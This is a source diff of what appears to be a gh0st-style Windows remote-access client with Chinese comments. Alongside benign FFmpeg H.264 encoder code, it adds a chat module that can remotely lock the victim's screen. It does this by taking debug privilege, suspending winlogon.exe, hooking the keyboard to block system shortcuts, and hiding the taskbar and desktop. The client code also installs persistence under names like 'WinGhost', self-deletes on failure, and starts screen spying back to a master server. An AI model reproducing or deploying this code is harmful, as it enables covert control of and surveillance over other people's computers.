// Windows Media Foundation 兜底。rate_control 实际值(ffmpeg -h encoder=h264_mf):
// default / cbr / pc_vbr / u_vbr / quality / ld_vbr / g_vbr / gld_vbr
// 远控用 pc_vbr (peak-constrained VBR) 与其他后端语义对齐。
setOptInt(m_ctx->priv_data, "hw_encoding", 1, name);
setOpt(m_ctx->priv_data, "rate_control", "pc_vbr", name);
}
int ret = avcodec_open2(m_ctx, codec, nullptr);
if (ret < 0) {
// 失败 = encoder 找到了但开不起来。常见:无 NVIDIA GPU / 驱动太旧 /
// NVENC session 占满 / 笔记本独显未唤醒 / 参数组合驱动不接受
char errbuf[128] = {0};
av_strerror(ret, errbuf, sizeof(errbuf));
Mprintf("=> FFmpeg: avcodec_open2('%s') failed (%d): %s\n", name, ret, errbuf);
return false;
}
m_frame = av_frame_alloc();
if (!m_frame) return false;
m_frame->format = AV_PIX_FMT_NV12;
m_frame->width = m_ctx->width;
m_frame->height = m_ctx->height;
if (av_frame_get_buffer(m_frame, 32) < 0) {
Mprintf("=> FFmpeg: av_frame_get_buffer failed\n");
return false;
}
m_packet = av_packet_alloc();
return m_packet != nullptr;
}
void CFFmpegH264Encoder::setBitrate(int kbps) {
if (!m_ctx) return;
m_ctx->bit_rate = (int64_t)kbps * 1000;
m_ctx->rc_max_rate = (int64_t)kbps * 1500;
m_ctx->rc_buffer_size = (int)(kbps * 1000);
// 注意:FFmpeg 多数硬编不支持运行时改 bit_rate 让 ctx 立即生效;
// 这里只更新数值,下次 open 时才生效。Step 1 不依赖动态调码率。
}
int CFFmpegH264Encoder::convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height,
int direction)
{
// Clamp to encoder's even-aligned frame dimensions (same reason as encode()).
int w = m_ctx->width;
int h = m_ctx->height;
int signed_height = direction * h;
int y_size = w * h;
int uv_size = (w / 2) * (h / 2);
m_i420Scratch.resize(y_size + 2 * uv_size);
uint8_t* y = m_i420Scratch.data();
uint8_t* u = y + y_size;
uint8_t* v = u + uv_size;
if (libyuv::RGB24ToI420(
rgb, stride,
y, w,
u, w / 2,
v, w / 2,
w, signed_height) != 0) {
return -1;
}
if (libyuv::I420ToNV12(
y, w,
u, w / 2,
v, w / 2,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, h) != 0) {
return -1;
}
return 0;
}
int CFFmpegH264Encoder::encode(
uint8_t* rgb, uint8_t bpp, uint32_t stride,
uint32_t width, uint32_t height,
uint8_t** lppData, uint32_t* lpSize, int direction)
{
if (!m_ctx || !m_frame || !m_packet) return -1;
if (av_frame_make_writable(m_frame) < 0) return -1;
// Use the encoder's even-aligned dimensions, not the raw passed-in values.
// m_ctx->width/height = p.width & ~1, m_frame is allocated for exactly those
// dimensions. If we pass an odd width/height, ARGBToNV12 writes one extra row
// past the end of m_frame->data[0] → heap corruption / access violation.
int w = m_ctx->width;
int h = m_ctx->height;
int signed_height = direction * h;
if (bpp == 32) {
if (libyuv::ARGBToNV12(
rgb, stride,
m_frame->data[0], m_frame->linesize[0],
m_frame->data[1], m_frame->linesize[1],
w, signed_height) != 0) {
return -1;
}
} else if (bpp == 24) {
if (convertRGB24ToNV12(rgb, stride, width, height, direction) != 0) {
return -1;
}
} else {
return -2;
}
m_frame->pts = m_pts++;
if (m_forceIDR) {
m_frame->pict_type = AV_PICTURE_TYPE_I;
m_forceIDR = false;
} else {
m_frame->pict_type = AV_PICTURE_TYPE_NONE;
}
int ret = avcodec_send_frame(m_ctx, m_frame);
if (ret < 0) return -3;
ret = avcodec_receive_packet(m_ctx, m_packet);
if (ret == AVERROR(EAGAIN)) {
// 首帧延迟:本次没出包,调用方按 lpSize==0 跳过本帧
*lppData = nullptr;
*lpSize = 0;
return 0;
}
if (ret < 0) return -4;
m_outputBuffer.assign(m_packet->data, m_packet->data + m_packet->size);
*lppData = m_outputBuffer.data();
*lpSize = (uint32_t)m_outputBuffer.size();
av_packet_unref(m_packet);
return 0;
}
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
+62
View File
@@ -0,0 +1,62 @@
#pragma once
#include "VideoEncoderBase.h"
#include "common/config.h"
#include <string>
#include <vector>
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时整类移出编译单元,避免 GPL 传染(与 c0a632a 对齐)
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
struct AVCodecContext;
struct AVFrame;
struct AVPacket;
// FFmpeg 硬编 H.264 实现。
// Step 1: 仅探测 h264_nvenc 单后端,足以验证 FFmpeg 静态库集成链路。
// Step 2: 扩展 h264_qsv / h264_amf / h264_mf。
//
// 输入像素:BGRA (bpp=32) / RGB24 (bpp=24),与 CX264Encoder 完全一致;
// 内部转 NV12 喂给 FFmpeg encoder。
class CFFmpegH264Encoder : public VideoEncoderBase
{
public:
CFFmpegH264Encoder();
~CFFmpegH264Encoder() override;
bool open(const EncoderParams& params) override;
void close() override;
int encode(
uint8_t* rgb,
uint8_t bpp,
uint32_t stride,
uint32_t width,
uint32_t height,
uint8_t** lppData,
uint32_t* lpSize,
int direction = 1
) override;
void forceIDR() override { m_forceIDR = true; }
void setBitrate(int kbps) override;
VideoCodec codec() const override { return VideoCodec::H264; }
const char* backendName() const override { return m_backend.c_str(); }
private:
bool tryOpenBackend(const char* name, const EncoderParams& p);
void cleanupCodec();
int convertRGB24ToNV12(uint8_t* rgb, uint32_t stride,
uint32_t width, uint32_t height, int direction);
AVCodecContext* m_ctx = nullptr;
AVFrame* m_frame = nullptr;
AVPacket* m_packet = nullptr;
std::vector<uint8_t> m_outputBuffer; // encode 返回给调用方的缓冲(持有到下一次 encode)
std::vector<uint8_t> m_i420Scratch; // RGB24 路径的中间缓冲
int64_t m_pts = 0;
bool m_forceIDR = false;
std::string m_backend; // 实际选中的后端名("h264_nvenc" / ...)
};
#endif // _WIN64 && !DISABLE_FFMPEG_FOR_TEST
+4 -2
View File
@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress) HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{ {
Mprintf("CCaptureVideo call Open\n"); Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_OK; HRESULT hResult = S_FALSE;
do { do {
hResult = InitCaptureGraphBuilder(); hResult = InitCaptureGraphBuilder();
if (FAILED(hResult)) if (FAILED(hResult))
break; break;
if(!BindVideoFilter(iDeviceID, &m_pBF)) if (!BindVideoFilter(iDeviceID, &m_pBF)) {
hResult = S_FALSE;
break; break;
}
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter"); hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
+339
View File
@@ -0,0 +1,339 @@
// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChatManager.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#if ENABLE_MESSAGE
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
struct PIDWNDINFO {
DWORD dwProcessId;
HWND hWnd;
};
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int g_nLocked = 0;
static DWORD GetWinlogonPid()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
BOOL rtn = Process32First(snap, &pEntry);
while (rtn) {
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
CloseHandle(snap);
return pEntry.th32ProcessID;
}
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
rtn = Process32Next(snap, &pEntry);
}
CloseHandle(snap);
return 0;
}
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|| (p->vkCode == VK_LWIN)
|| (p->vkCode == VK_RWIN)) {
return 1;
}
break;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
pInfo->hWnd = hWnd;
return FALSE;
}
return TRUE;
}
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
static void ChatSetHook()
{
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
HMODULE hMod = LoadLibrary("ntdll");
if (hMod) {
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
BOOLEAN dummy = 0;
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
}
}
static void ChatUnSetHook()
{
if (g_hKeyBoard) {
UnhookWindowsHookEx(g_hKeyBoard);
g_hKeyBoard = NULL;
}
if (g_lpfnNtResumeProcess && g_hProcess) {
g_lpfnNtResumeProcess(g_hProcess);
}
if (g_hProcess) {
CloseHandle(g_hProcess);
g_hProcess = NULL;
}
g_lpfnNtResumeProcess = NULL;
}
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
static void UnlockScreen()
{
ChatUnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
g_nLocked = 0;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
m_hWnd = NULL;
m_bRun = TRUE;
g_nLocked = 0;
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
BYTE bToken = TOKEN_CHAT_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
Mprintf("Chat 构造\n");
}
CChatManager::~CChatManager()
{
m_bRun = FALSE;
while (m_hThread)
Sleep(100);
if (g_nLocked == 1) {
UnlockScreen();
}
if (m_hWnd) {
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
Mprintf("Chat 析构\n");
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
CChatManager* pThis = (CChatManager*)lParam;
HANDLE& hThread(pThis->m_hThread);
pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
if (pThis->m_hWnd) {
SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 移除最小化/最大化按钮
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
CloseHandle(hThread);
hThread = NULL;
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg) {
case WM_INITDIALOG:
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
pThis = (CChatManager*)lParam;
SetWindowText(hDlg, "远程交谈");
SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
{
HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
if (hIcon) {
SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
}
}
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
char str[4096] = { 0 };
GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
if (str[0] == 0) {
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE; // 消息为空不发送
}
pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
SYSTEMTIME st;
GetLocalTime(&st);
char Text[5120] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "自己:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
return TRUE;
}
if (LOWORD(wParam) == IDC_BUTTON_END) {
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
ShowWindow(hDlg, SW_HIDE);
return TRUE;
}
break;
case WM_CLOSE:
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
ShowWindow(hDlg, SW_HIDE);
return TRUE;
case WM_USER + 1:
pThis->m_hWnd = NULL;
DestroyWindow(hDlg);
return TRUE;
case WM_USER + 2:
ChatSetHook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (szBuffer[0] == TOKEN_HEARTBEAT) return;
if (ulLength == 1) {
switch (szBuffer[0]) {
case COMMAND_NEXT_CHAT:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
NotifyDialogIsOpen();
if (m_hWnd && g_nLocked == 0) {
ShowWindow(m_hWnd, SW_RESTORE);
RECT rct = { 0 };
GetWindowRect(m_hWnd, &rct);
ClipCursor(&rct);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
PIDWNDINFO pwi = { 0 };
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
g_nLocked = 1;
}
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
if (g_nLocked == 1) {
UnlockScreen();
}
return;
default:
break;
}
}
// 收到服务端发来的聊天文本
SYSTEMTIME st;
GetLocalTime(&st);
char Text[8192] = { 0 };
sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n", "对方:",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
if (m_hWnd) {
HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
int nLen = GetWindowTextLength(hEditChatLog);
if (nLen >= 20000) {
SetWindowText(hEditChatLog, "");
nLen = GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
ShowWindow(m_hWnd, SW_RESTORE);
}
}
#endif
+30
View File
@@ -0,0 +1,30 @@
// ChatManager.h: interface for the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#include "Manager.h"
#if ENABLE_MESSAGE==0
#define CChatManager CManager
#else
class CChatManager : public CManager
{
public:
HINSTANCE m_hInstance;
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CChatManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
BOOL m_bRun;
HANDLE m_hThread;
HWND m_hWnd;
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
};
#endif
+97 -17
View File
@@ -3,6 +3,7 @@
#include "stdafx.h" #include "stdafx.h"
#include "ClientDll.h" #include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h> #include <common/iniFile.h>
#include <common/LANChecker.h> #include <common/LANChecker.h>
#include <common/VerifyV2.h> #include <common/VerifyV2.h>
@@ -12,6 +13,8 @@ extern "C" {
#include "ServiceWrapper.h" #include "ServiceWrapper.h"
} }
extern void licenseInit();
// Check if CPU supports AVX2 instruction set // Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported() static BOOL IsAVX2Supported()
{ {
@@ -63,16 +66,62 @@ BOOL IsClientAppRunning(void* thisApp)
return S_CLIENT_NORMAL == This->g_bExit; return S_CLIENT_NORMAL == This->g_bExit;
} }
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
{ {
auto v = StringToVector(remoteAddr, ':', 2); auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty()) if (v[0].empty() || v[1].empty())
return nullptr; return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared); auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str())); a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
a->g_Connection->iHeaderEnc = headerEnc;
return a; return a;
} }
#if _CONSOLE
#define DLL_API
#else
#define DLL_API __declspec(dllexport)
#endif
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
if (!ENABLE_SCREEN || ulLength == 0) {
return 1;
}
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
return 2;
}
switch (szBuffer[0]) {
case COMMAND_SCREEN_SPY: {
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
szBuffer = bToken; ulLength = 4;
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
if (ulLength > 1) {
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
}
ThreadInfo m_hThread;
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
// sub->EnableSubConnAuth();
m_hThread.conn = m_conn;
m_hThread.p = sub;
m_hThread.user = user;
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
while (m_hThread.p) Sleep(1000);
return 0;
}
case TOKEN_PRIVATESCREEN: {
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
t.join();
return 0;
}
}
return -1;
}
DWORD WINAPI StartClientApp(LPVOID param) DWORD WINAPI StartClientApp(LPVOID param)
{ {
ClientApp::AddCount(1); ClientApp::AddCount(1);
@@ -214,17 +263,27 @@ int main(int argc, const char *argv[])
return -1; return -1;
} }
licenseInit();
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc); Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
if (nCmd) {
BYTE buf[] = { nCmd };
return RunCommand(buf, 1);
}
InitWindowsService(NewService( InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService", g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service", g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log); g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || IsSystemInSession0(); bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
// 注册启动项 // 注册启动项
int r = RegisterStartup( int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost", g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost", g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
!isService, g_SETTINGS.runasAdmin, Logf); lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
if (r <= 0) { if (r <= 0) {
BOOL s = self_del(); BOOL s = self_del();
if (!IsDebug) { if (!IsDebug) {
@@ -338,6 +397,7 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
"CPU 不兼容", MB_ICONERROR); "CPU 不兼容", MB_ICONERROR);
return FALSE; return FALSE;
} }
licenseInit();
g_MyApp.g_hInstance = (HINSTANCE)hInstance; g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break; break;
@@ -385,6 +445,11 @@ extern "C" __declspec(dllexport) void StopRun()
// 是否成功停止 // 是否成功停止
extern "C" __declspec(dllexport) bool IsStoped() extern "C" __declspec(dllexport) bool IsStoped()
{ {
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
// 分享实例继续存活,不受主控端重启影响。
if (S_SERVER_EXIT == g_MyApp.g_bExit)
return true;
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
} }
@@ -402,13 +467,11 @@ extern "C" __declspec(dllexport) int EasyRun()
do { do {
TestRun((char*)settings.ServerIP(), settings.ServerPort()); TestRun((char*)settings.ServerIP(), settings.ServerPort());
if (S_SERVER_EXIT == app.g_bExit)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
while (!IsStoped()) while (!IsStoped())
Sleep(50); Sleep(50);
if (S_CLIENT_EXIT == app.g_bExit) // 受控端退出
break;
else if (S_SERVER_EXIT == app.g_bExit)
continue;
else // S_CLIENT_UPDATE: 程序更新
break; break;
} while (true); } while (true);
@@ -495,14 +558,14 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz
do { do {
TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
if (bExit == S_SERVER_EXIT)
continue; // 主控端重启:立即重连,不等仍存活的分享实例
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
while (!IsStoped()) while (!IsStoped())
Sleep(20); Sleep(20);
if (bExit == S_CLIENT_EXIT) if (bExit == S_CLIENT_EXIT)
return; return;
else if (bExit == S_SERVER_EXIT) break; // S_CLIENT_UPDATE
continue;
else // S_CLIENT_UPDATE
break;
} while (true); } while (true);
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
@@ -531,6 +594,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
std::string ip = settings.ServerIP(); std::string ip = settings.ServerIP();
int port = settings.ServerPort(); int port = settings.ServerPort();
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port); Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) { if (!app.m_bShared) {
auto now = time(0); auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
@@ -538,25 +602,39 @@ DWORD WINAPI StartClient(LPVOID lParam)
auto saved_ip = cfg.GetStr("settings", "master"); auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port"); auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port); settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port, Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now)); int(valid_to-now));
} }
} }
auto list = app.GetSharedMasterList(); auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) { if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
// 若不守护会重复派生并行连接。主实例的 SetServer(list[0]) 保持每次执行,
// 让主实例始终指向域名解析出的第一个 IP。
static bool parallelHasRun = false;
if (!parallelHasRun) {
parallelHasRun = true;
for (int i=1; i<list.size(); ++i) { for (int i=1; i<list.size(); ++i) {
std::string addr = list[i] + ":" + std::to_string(settings.ServerPort()); std::string addr = list[i] + ":" + std::to_string(settings.ServerPort());
